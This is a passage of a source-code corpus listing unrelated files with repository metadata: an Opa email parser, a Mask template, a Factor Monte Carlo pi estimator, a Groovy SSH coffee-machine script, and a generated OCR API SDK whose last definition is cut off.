Hugo Heuzard 2011 * @author Frederic Ye 2012 * * @destination public */ /** * {1 Types} */ /** * This type represents an email address. It contains two fields: [local] and [domain]. * [local] is the local part of the address (before the @), usually the username. * [domain] is the fully qualified address domain name (after the @). */ type Email.address = { local : string domain : string } /** * This type represents a rich email address. It contains two fields: [name] and [address]. * [name] is a optional user-friendly name (string) and [address] is an [Email.address]. * For instance * "John Smith" <[email protected]> * will give the following data instance: * [{ name = some("John Smith"); address = [email protected] }]. */ type Email.email = { name : option(string) address : Email.address } /** * Type of a file attachment */ type Email.file = { filename:string content:string mime_type:string } / { filename:string content:string mime_type:string encoding:string } / { filename:string resource:resource } /** * A list of file attachments */ type Email.files = list(Email.file) /** * Type of an email content * if you give {~html} then a text will be computed out of the xhtml, * to be non html part to your email */ type Email.content = {text:string} / {html:xhtml} / {text:string html:xhtml} /** * Return status of an email sending. */ type Email.send_status = { bad_sender } / { bad_recipients : string } / { sending } / { ok : string } / { error : string } /** * Options for sending an email. * Most fields correspond to the email headers. * If to is an empty list, the recipient address will be used for the {b To} field. * We do NOT check if custom_headers already contains {b To:} or {b Cc:} fields. */ type Email.options = { from : Email.email to : list(Email.email) cc : list(Email.email) bcc : list(Email.email) subject : string custom_headers : list((string, string)) files : Email.files } type caml_tuple_2('a,'b) = external type caml_tuple_4('a,'b,'c,'d) = external /** * This module is meant to deal with email address and email sending */ Email = {{ dummy_address = { local = "" domain = "" } : Email.address dummy_email = { name = {none} address = dummy_address } : Email.email default_options = { from = dummy_email to = [] cc = [] bcc = [] subject = "" custom_headers = [] files = [] } : Email.options /** * {1 Parsing email addresses} */ @private dblquote = parser [\"]; /** * A parser accepting characters allowed as parts of an email * address, that is: * - small and capital letters, * - digits, * - characters: !#$%&'*+\-/=?^_`{|}~ * See: http://en.wikipedia.org/wiki/Email_address#Local_part */ @private char = parser [A-Za-z0-9!#$%&'*+\-/=?^_`{|}~]; @private word = parser w=char+ -> Text.to_string(Text.ltconcat(w)) /** * A parser for a local part of the email address, i.e. * a series of email allowed {!char}s, separated by dots. */ @private local = Rule.parse_list_sep_min_length(1, false, word, parser "." -> void) // full RFC compliant list of special characters: ! # $ % & ' * + - / = ? ^ _ ` { | } /** * A parser for an email address, i.e. a local part of the * address ({!id}), followed by the 'at' character (@), * followed by the {!domain} address. */ address_parser : Parser.general_parser(Email.address) = parser local=local [@] domain=UriParser.domain -> {local=String.concat(".",local) ~domain}; /** * A parser for a rich email address giving a value of type {!Email.email}. * An email address should be of the form: * "John Smith" <[email protected]> * or * John Smith <[email protected]> * or * [email protected] * * For a more detailed description of the accepted format of emails see: * {{:http://en.wikipedia.org/wiki/E-mail_address#RFC_specification}E-mail address: RFC specification (Wikipedia)} */ email_parser : Parser.general_parser(Email.email) = email_name = parser // we either have a name in double quotes (needs to be followed by "<" for the address), "..." <...> | dblquote name=(!dblquote .)* dblquote Rule.ws &[<] -> Text.ltconcat(name) |> Text.to_string |> some // or a name without double quotes (again needs to be followed by "<"), ... <...> | name=(![<] .)* &[<] -> Text.ltconcat(name) |> Text.to_string |> String.trim |> some // otherwise there's no name component | {Rule.succeed} -> none email_address = parser // email address can be in between angle brackets <...> | [<] Rule.ws email=address_parser Rule.ws [>] -> email // ... or without them | email=address_parser -> email parser Rule.ws name=email_name Rule.ws address=email_address Rule.ws -> ~{name address} /** * A simpler parser, not looking for email name. */ email_simple_parser : Parser.general_parser(Email.email) = parser Rule.ws email=address_parser Rule.ws -> {name=none ; address=email} /** * {1 String conversion} */ /** * Conversion from a string to {!Email.address}. * * @param s string for conversion. * @return an optional address represented by the given string. */ address_of_string_opt(s:string) = Parser.try_parse(Email.address_parser, s) /** * Conversion from a string to an optional {!Email.email}. * * @param s string for conversion. * @return email address represented by the given string or error * if [s] did not represesent a valid email address. */ address_of_string(s:string) = address_of_string_opt(s) ? error("Wrong email address: {s}") /** * Conversion from a string to {!Email.email}. * * @param s string for conversion. * @return an optional email represented by the given string. */ of_string_opt(s:string) = Parser.try_parse(Email.email_parser, s) /** * Conversion from a string to an optional {!Email.email}. * * @param s string for conversion. * @return email represented by the given string or error * if [s] did not represesent a valid email. */ of_string(s:string) = of_string_opt(s) ? error("Wrong email: {s}") @stringifier(Email.email) to_string(email:Email.email) = match email.name with | {~some} -> "\"{some}\" <{email.address.local}@{email.address.domain}>" | {none} -> "{email.address.local}@{email.address.domain}" to_name(email:Email.email) = match email.name with | {~some} -> some | {none} -> "{email.address.local}@{email.address.domain}" @xmlizer(Email.email) to_xml(email) = <>{"{email}"}</> address_to_string(address:Email.address) = "{address.local}@{address.domain}" to_string_only_address(email:Email.email) = "{email.address.local}@{email.address.domain}" is_valid_string(s:string) = Option.is_some(of_string_opt(s)) }}
Opa
5
Machiaweliczny/oppailang
lib/stdlib/web/mail/email.opa
[ "MIT" ]
// HTML Elements header { img .logo src='/images/~[currentLogo].png' alt=logo; h4 > 'Bar View' if (currentUser) { .account > a href='/acount' > 'Hello, ~[currentUser.username]' } } .view { ul { // Iteration for ((user, index) of users) { li.user data-id='~[user.id]' { // interpolation .name > '~[ user.username ]' // expression .count > '~[: user.level.toFixed(2) ]' // util /* Localization sample * lastActivity: "Am {0:dd. MM} war der letzte Eintrag" */ .date > '~[ L: "lastActivity", user.date]' } } } // Component :countdownComponent { input type = text > :dualbind value='number'; button x-signal='click: countdownStart' > 'Start'; h5 { '~[bind: number]' :animation x-slot='countdownStart' { @model > 'transition | scale(0) > scale(1) | 500ms' @next > 'background-color | red > blue | 2s linear' } } } } footer > :bazCompo { 'Component generated at ~[: $u.format($c.date, "HH-mm") ]' }
Mask
3
JavascriptID/sourcerer-app
src/test/resources/samples/langs/Mask/view.mask
[ "MIT" ]
USING: locals random math.ranges math.functions ; :: monte-carlo ( n in-shape?: ( x y -- ? ) -- % ) n <iota> [ drop random-unit random-unit in-shape? call ] count n / ; inline ! Use the monte-carlo approximation to calculate pi : monte-carlo-pi ( n -- pi-approx ) [ ! in-circle check [ 2 ^ ] bi@ + ! get the distance from the center 1 < ! see if it's less than the radius ] monte-carlo 4 * >float ; USING: math.constants ; 10000000 monte-carlo-pi ! Approximate pi dup . ! Print the approximation pi - pi / 100 * >float abs . ! And the error margin
Factor
4
atocil/algorithm-archive
contents/monte_carlo_integration/code/factor/monte_carlo.factor
[ "MIT" ]
%%% Programming Systems Lab, DFKI Saarbruecken, %%% Stuhlsatzenhausweg 3, D-66123 Saarbruecken, Phone (+49) 681 302-5312 %%% Author: Joerg Wuertz %%% Email: [email protected] %%% Last modified: $Date$ by $Author$ %%% Version: $Revision$ proc {NoTE Start Dur ET} skip end
Oz
0
Ahzed11/mozart2
platform-test/scheduling/enum.oz
[ "BSD-2-Clause" ]
#!MC 1410 $!XYLineAxis ViewportPosition{X1 = 9.5} $!XYLineAxis YDetail 1 {Title{Offset = 9}}
MAXScript
1
smichel18/EnKF_seir
runs/France/tt.mcr
[ "MIT" ]
@Grab(group='org.hidetake', module='groovy-ssh', version='1.1.8') @GrabExclude('org.codehaus.groovy:groovy-all') import org.hidetake.groovy.ssh.Ssh final def ssh = Ssh.newService() final def HOST = '10.10.42.42' final def USER = 'my_username' final def PASSWORD = '1234' final def DELAY = 24 ssh.remotes { webServer { host = HOST user = USER password = PASSWORD } } ssh.run { session(ssh.remotes.webServer) { execute 'sys brew' execute "sleep ${DELAY}s" execute 'sys pour' } }
Groovy
3
johndemlon/hacker-scripts
groovy/fucking_coffee.groovy
[ "WTFPL" ]
/** * */ import Util; import OpenApi; import OpenApiUtil; import EndpointUtil; extends OpenApi; init(config: OpenApi.Config){ super(config); @endpointRule = ''; checkConfig(config); @endpoint = getEndpoint('ocr-api', @regionId, @endpointRule, @network, @suffix, @endpointMap, @endpoint); } function getEndpoint(productId: string, regionId: string, endpointRule: string, network: string, suffix: string, endpointMap: map[string]string, endpoint: string) throws: string{ if (!Util.empty(endpoint)) { return endpoint; } if (!Util.isUnset(endpointMap) && !Util.empty(endpointMap[regionId])) { return endpointMap[regionId]; } return EndpointUtil.getEndpointRules(productId, regionId, endpointRule, network, suffix); } model RecognizeAdvancedRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), needSortPage?: boolean(name='NeedSortPage', description='是否按顺序输出文字块。false表示从左往右,从上到下的顺序;true表示从上到下,从左往右的顺序'), outputCharInfo?: boolean(name='OutputCharInfo', description='是否输出单字识别结果'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeAdvancedResponseBody = { code?: string(name='Code', description='错误码'), data?: string(name='Data', description='返回数据'), message?: string(name='Message', description='错误提示'), requestId?: string(name='RequestId', description='请求唯一 ID'), } model RecognizeAdvancedResponse = { headers: map[string]string(name='headers'), body: RecognizeAdvancedResponseBody(name='body'), } async function recognizeAdvancedWithOptions(request: RecognizeAdvancedRequest, runtime: Util.RuntimeOptions): RecognizeAdvancedResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeAdvanced', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeAdvanced(request: RecognizeAdvancedRequest): RecognizeAdvancedResponse { var runtime = new Util.RuntimeOptions{}; return recognizeAdvancedWithOptions(request, runtime); } model RecognizeAirItineraryRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeAirItineraryResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeAirItineraryResponse = { headers: map[string]string(name='headers'), body: RecognizeAirItineraryResponseBody(name='body'), } async function recognizeAirItineraryWithOptions(request: RecognizeAirItineraryRequest, runtime: Util.RuntimeOptions): RecognizeAirItineraryResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeAirItinerary', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeAirItinerary(request: RecognizeAirItineraryRequest): RecognizeAirItineraryResponse { var runtime = new Util.RuntimeOptions{}; return recognizeAirItineraryWithOptions(request, runtime); } model RecognizeBankAccountLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeBankAccountLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeBankAccountLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeBankAccountLicenseResponseBody(name='body'), } async function recognizeBankAccountLicenseWithOptions(request: RecognizeBankAccountLicenseRequest, runtime: Util.RuntimeOptions): RecognizeBankAccountLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeBankAccountLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeBankAccountLicense(request: RecognizeBankAccountLicenseRequest): RecognizeBankAccountLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeBankAccountLicenseWithOptions(request, runtime); } model RecognizeBankCardRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeBankCardResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeBankCardResponse = { headers: map[string]string(name='headers'), body: RecognizeBankCardResponseBody(name='body'), } async function recognizeBankCardWithOptions(request: RecognizeBankCardRequest, runtime: Util.RuntimeOptions): RecognizeBankCardResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeBankCard', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeBankCard(request: RecognizeBankCardRequest): RecognizeBankCardResponse { var runtime = new Util.RuntimeOptions{}; return recognizeBankCardWithOptions(request, runtime); } model RecognizeBasicRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeBasicResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeBasicResponse = { headers: map[string]string(name='headers'), body: RecognizeBasicResponseBody(name='body'), } async function recognizeBasicWithOptions(request: RecognizeBasicRequest, runtime: Util.RuntimeOptions): RecognizeBasicResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeBasic', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeBasic(request: RecognizeBasicRequest): RecognizeBasicResponse { var runtime = new Util.RuntimeOptions{}; return recognizeBasicWithOptions(request, runtime); } model RecognizeBirthCertificationRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeBirthCertificationResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeBirthCertificationResponse = { headers: map[string]string(name='headers'), body: RecognizeBirthCertificationResponseBody(name='body'), } async function recognizeBirthCertificationWithOptions(request: RecognizeBirthCertificationRequest, runtime: Util.RuntimeOptions): RecognizeBirthCertificationResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeBirthCertification', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeBirthCertification(request: RecognizeBirthCertificationRequest): RecognizeBirthCertificationResponse { var runtime = new Util.RuntimeOptions{}; return recognizeBirthCertificationWithOptions(request, runtime); } model RecognizeBusinessLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeBusinessLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeBusinessLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeBusinessLicenseResponseBody(name='body'), } async function recognizeBusinessLicenseWithOptions(request: RecognizeBusinessLicenseRequest, runtime: Util.RuntimeOptions): RecognizeBusinessLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeBusinessLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeBusinessLicense(request: RecognizeBusinessLicenseRequest): RecognizeBusinessLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeBusinessLicenseWithOptions(request, runtime); } model RecognizeCarInvoiceRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeCarInvoiceResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeCarInvoiceResponse = { headers: map[string]string(name='headers'), body: RecognizeCarInvoiceResponseBody(name='body'), } async function recognizeCarInvoiceWithOptions(request: RecognizeCarInvoiceRequest, runtime: Util.RuntimeOptions): RecognizeCarInvoiceResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeCarInvoice', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeCarInvoice(request: RecognizeCarInvoiceRequest): RecognizeCarInvoiceResponse { var runtime = new Util.RuntimeOptions{}; return recognizeCarInvoiceWithOptions(request, runtime); } model RecognizeCarNumberRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeCarNumberResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeCarNumberResponse = { headers: map[string]string(name='headers'), body: RecognizeCarNumberResponseBody(name='body'), } async function recognizeCarNumberWithOptions(request: RecognizeCarNumberRequest, runtime: Util.RuntimeOptions): RecognizeCarNumberResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeCarNumber', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeCarNumber(request: RecognizeCarNumberRequest): RecognizeCarNumberResponse { var runtime = new Util.RuntimeOptions{}; return recognizeCarNumberWithOptions(request, runtime); } model RecognizeCarVinCodeRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeCarVinCodeResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeCarVinCodeResponse = { headers: map[string]string(name='headers'), body: RecognizeCarVinCodeResponseBody(name='body'), } async function recognizeCarVinCodeWithOptions(request: RecognizeCarVinCodeRequest, runtime: Util.RuntimeOptions): RecognizeCarVinCodeResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeCarVinCode', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeCarVinCode(request: RecognizeCarVinCodeRequest): RecognizeCarVinCodeResponse { var runtime = new Util.RuntimeOptions{}; return recognizeCarVinCodeWithOptions(request, runtime); } model RecognizeCtwoMedicalDeviceManageLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeCtwoMedicalDeviceManageLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeCtwoMedicalDeviceManageLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeCtwoMedicalDeviceManageLicenseResponseBody(name='body'), } async function recognizeCtwoMedicalDeviceManageLicenseWithOptions(request: RecognizeCtwoMedicalDeviceManageLicenseRequest, runtime: Util.RuntimeOptions): RecognizeCtwoMedicalDeviceManageLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeCtwoMedicalDeviceManageLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeCtwoMedicalDeviceManageLicense(request: RecognizeCtwoMedicalDeviceManageLicenseRequest): RecognizeCtwoMedicalDeviceManageLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeCtwoMedicalDeviceManageLicenseWithOptions(request, runtime); } model RecognizeDrivingLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeDrivingLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeDrivingLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeDrivingLicenseResponseBody(name='body'), } async function recognizeDrivingLicenseWithOptions(request: RecognizeDrivingLicenseRequest, runtime: Util.RuntimeOptions): RecognizeDrivingLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeDrivingLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeDrivingLicense(request: RecognizeDrivingLicenseRequest): RecognizeDrivingLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeDrivingLicenseWithOptions(request, runtime); } model RecognizeEduFormulaRequest { url?: string(name='Url', description='图片链接(不支持 base64),图片最大尺寸 1024*1024'), } model RecognizeEduFormulaResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEduFormulaResponse = { headers: map[string]string(name='headers'), body: RecognizeEduFormulaResponseBody(name='body'), } async function recognizeEduFormulaWithOptions(request: RecognizeEduFormulaRequest, runtime: Util.RuntimeOptions): RecognizeEduFormulaResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEduFormula', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEduFormula(request: RecognizeEduFormulaRequest): RecognizeEduFormulaResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEduFormulaWithOptions(request, runtime); } model RecognizeEduOralCalculationRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEduOralCalculationResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEduOralCalculationResponse = { headers: map[string]string(name='headers'), body: RecognizeEduOralCalculationResponseBody(name='body'), } async function recognizeEduOralCalculationWithOptions(request: RecognizeEduOralCalculationRequest, runtime: Util.RuntimeOptions): RecognizeEduOralCalculationResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEduOralCalculation', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEduOralCalculation(request: RecognizeEduOralCalculationRequest): RecognizeEduOralCalculationResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEduOralCalculationWithOptions(request, runtime); } model RecognizeEduPaperCutRequest { cutType?: string(name='CutType', description='切题类型'), imageType?: string(name='ImageType', description='图片类型'), subject?: string(name='Subject', description='年级学科'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEduPaperCutResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEduPaperCutResponse = { headers: map[string]string(name='headers'), body: RecognizeEduPaperCutResponseBody(name='body'), } async function recognizeEduPaperCutWithOptions(request: RecognizeEduPaperCutRequest, runtime: Util.RuntimeOptions): RecognizeEduPaperCutResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEduPaperCut', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEduPaperCut(request: RecognizeEduPaperCutRequest): RecognizeEduPaperCutResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEduPaperCutWithOptions(request, runtime); } model RecognizeEduPaperOcrRequest { imageType?: string(name='ImageType', description='图片类型'), outputOricoord?: boolean(name='OutputOricoord', description='是否输出原图坐标信息(如果图片被做过旋转,图片校正等处理)'), subject?: string(name='Subject', description='年级学科'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEduPaperOcrResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEduPaperOcrResponse = { headers: map[string]string(name='headers'), body: RecognizeEduPaperOcrResponseBody(name='body'), } async function recognizeEduPaperOcrWithOptions(request: RecognizeEduPaperOcrRequest, runtime: Util.RuntimeOptions): RecognizeEduPaperOcrResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEduPaperOcr', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEduPaperOcr(request: RecognizeEduPaperOcrRequest): RecognizeEduPaperOcrResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEduPaperOcrWithOptions(request, runtime); } model RecognizeEduPaperStructedRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEduPaperStructedResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEduPaperStructedResponse = { headers: map[string]string(name='headers'), body: RecognizeEduPaperStructedResponseBody(name='body'), } async function recognizeEduPaperStructedWithOptions(request: RecognizeEduPaperStructedRequest, runtime: Util.RuntimeOptions): RecognizeEduPaperStructedResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEduPaperStructed', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEduPaperStructed(request: RecognizeEduPaperStructedRequest): RecognizeEduPaperStructedResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEduPaperStructedWithOptions(request, runtime); } model RecognizeEduQuestionOcrRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEduQuestionOcrResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEduQuestionOcrResponse = { headers: map[string]string(name='headers'), body: RecognizeEduQuestionOcrResponseBody(name='body'), } async function recognizeEduQuestionOcrWithOptions(request: RecognizeEduQuestionOcrRequest, runtime: Util.RuntimeOptions): RecognizeEduQuestionOcrResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEduQuestionOcr', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEduQuestionOcr(request: RecognizeEduQuestionOcrRequest): RecognizeEduQuestionOcrResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEduQuestionOcrWithOptions(request, runtime); } model RecognizeEnglishRequest { needRotate?: boolean(name='NeedRotate', description='是否需要自动旋转功能(结构化检测、混贴场景、教育相关场景会自动做旋转,无需设置),返回角度信息'), outputTable?: boolean(name='OutputTable', description='是否输出表格识别结果,包含单元格信息'), url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEnglishResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEnglishResponse = { headers: map[string]string(name='headers'), body: RecognizeEnglishResponseBody(name='body'), } async function recognizeEnglishWithOptions(request: RecognizeEnglishRequest, runtime: Util.RuntimeOptions): RecognizeEnglishResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEnglish', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEnglish(request: RecognizeEnglishRequest): RecognizeEnglishResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEnglishWithOptions(request, runtime); } model RecognizeEstateCertificationRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeEstateCertificationResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeEstateCertificationResponse = { headers: map[string]string(name='headers'), body: RecognizeEstateCertificationResponseBody(name='body'), } async function recognizeEstateCertificationWithOptions(request: RecognizeEstateCertificationRequest, runtime: Util.RuntimeOptions): RecognizeEstateCertificationResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeEstateCertification', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeEstateCertification(request: RecognizeEstateCertificationRequest): RecognizeEstateCertificationResponse { var runtime = new Util.RuntimeOptions{}; return recognizeEstateCertificationWithOptions(request, runtime); } model RecognizeFoodManageLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeFoodManageLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeFoodManageLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeFoodManageLicenseResponseBody(name='body'), } async function recognizeFoodManageLicenseWithOptions(request: RecognizeFoodManageLicenseRequest, runtime: Util.RuntimeOptions): RecognizeFoodManageLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeFoodManageLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeFoodManageLicense(request: RecognizeFoodManageLicenseRequest): RecognizeFoodManageLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeFoodManageLicenseWithOptions(request, runtime); } model RecognizeFoodProduceLicenseRequest { url?: string(name='Url', description='图片链接(长度不超 1014,不支持 base64)'), } model RecognizeFoodProduceLicenseResponseBody = { code?: string(name='Code'), data?: string(name='Data'), message?: string(name='Message'), requestId?: string(name='RequestId'), } model RecognizeFoodProduceLicenseResponse = { headers: map[string]string(name='headers'), body: RecognizeFoodProduceLicenseResponseBody(name='body'), } async function recognizeFoodProduceLicenseWithOptions(request: RecognizeFoodProduceLicenseRequest, runtime: Util.RuntimeOptions): RecognizeFoodProduceLicenseResponse { Util.validateModel(request); var query = OpenApiUtil.query(Util.toMap(request)); var req = new OpenApi.OpenApiRequest{ query = query, }; return doRPCRequest('RecognizeFoodProduceLicense', '2021-07-07', 'HTTPS', 'GET', 'AK', 'json', req, runtime); } async function recognizeFoodProduceLicense(request: RecognizeFoodProduceLicenseRequest): RecognizeFoodProduceLicenseResponse { var runtime = new Util.RuntimeOptions{}; return recognizeFoodProduceLicenseWithOptions(request, runtime); } model RecognizeGeneralRequest { url?: string(name='Url', 